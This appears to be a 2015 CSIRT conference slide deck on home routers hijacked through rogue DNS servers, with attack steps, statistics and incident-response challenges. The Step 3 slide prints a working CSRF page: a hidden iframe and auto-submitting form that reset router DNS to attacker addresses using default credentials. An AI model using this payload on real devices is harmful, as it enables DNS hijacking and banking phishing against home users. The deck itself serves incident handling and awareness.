




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Lima, PE
May 21, 2015
LAC-CSIRTs Meeting

The background of the slide is a dark grey circuit board pattern with white lines representing traces and components. The pattern is dense and covers the entire area.

Compromised CPEs and Rogue DNS servers: attacks and response challenges

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Agenda

Anatomy of current attacks

- abusing CPEs
- using rogue DNS servers
- some statistics

Challenges in the incident handling process

Attacks using rogue DNS servers:

Step 1: configure a rogue DNS server

- commonly hosted at cloud or hosting services abroad
- usually respond with authority for the target domains
 - attacker just creates a zone file for the target domain
 - we handled cases where 1 rogue DNS server was providing wrong results for more than 30 domains (financial services, e-commerce, websearch, public API's, etc)

```
$ dig +noredc @xxx.xxx.57.155 <victim>.com A
```

```
[...]  
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55048  
;; flags: qr aa ra; QUERY: 1, ANSWER: 1, [...]
```

```
[...]  
;; ANSWER SECTION:  
<victim>.com.          10800    IN      A       xxx.xxx.57.150
```

There is NO DNS cache poisoning in these cases

Attacks using rogue DNS servers:

Step 2: host malicious content

```
$ wget -q -O - --header 'Host: <victim>.com' http://xxx.xxx.57.150/  
<title>Fazer pagamentos online, enviar e receber pagamentos ou criar  
uma conta pessoal - <victim> Brasil</title>  
  
<link rel="shortcut icon" href="favicon.ico">  
  
<frameset rows="100%,*">  
  
<frame name="bla" src="<victim>.htm" noresize frameborder="no">  
  
<frame src="UntitledFrame-6"></frameset><noframes></noframes>
```

Attacks using rogue DNS servers:

Step 3: compromise a popular site

- compromise a website with a high number of viewers
- insert a malicious iFrame that makes the user browser attack its own CPE (CSRF attack)

```
<html>
<body>
<iframe height=0 width=0 id="cantseeme" name="cantseeme"></iframe>
<form name="csrf_form" action="http://192.168.123.254/goform/AdvSetDns"
method="post" target="cantseeme">
...
<input type="hidden" name="DS1" value='64.186.158.42'>
<input type="hidden" name="DS2" value='64.186.146.68'>
<script>document.csrf_form.submit();</script>

<img width=0 height=0 border=0 src='http://root:root@IP_Vitima/dnsProxy.cmd?
enblDproxy=0&PrimaryDNS=64.186.158.42&SecondaryDNS=64.186.146.68'></img>
<META http-equiv='refresh' content='1;URL=reboot.php'>
</body>
</html>
```

Attacks using rogue DNS servers:

Step 4: change the CPE DNS configuration


When the victim visits a site with a malicious iFrame, this iFrame

- performs brute force attacks on CPEs, abusing default or weak passwords
- changes the DNS configurations to point resolution to a rogue DNS server
- other actions, like restart the CPE


Other compromise vectors

- via telnet or ssh brute force
- exploiting the CPEs' vulnerabilities

Attacks using rogue DNS servers: Sample attack scenario



Rogue DNS Servers Actively Providing Malicious Response – Daily Stats



Period: 218 days
Countries: 23

ASNs: 81
IPs: 423

Challenges for Incident Response

Difficult to explain the issue to hosting providers

- 1st level abuse teams are not trained to handle DNS logs neither have tools to test DNS attacks
- several rogue DNS servers are hosted in what appear to be bullet proof networks
- automatic systems don't identify these complaints
 - are expecting phishing, malware or copyright infringement
- abuse handling policy is to forward the complaint to the client
 - “the client” is the attacker

Too many vulnerable web sites being compromised to host iFrames

Too many vulnerable CPEs

- weak or default passwords are the norm
- too many vulnerabilities and almost no firmware updates

Thank You!

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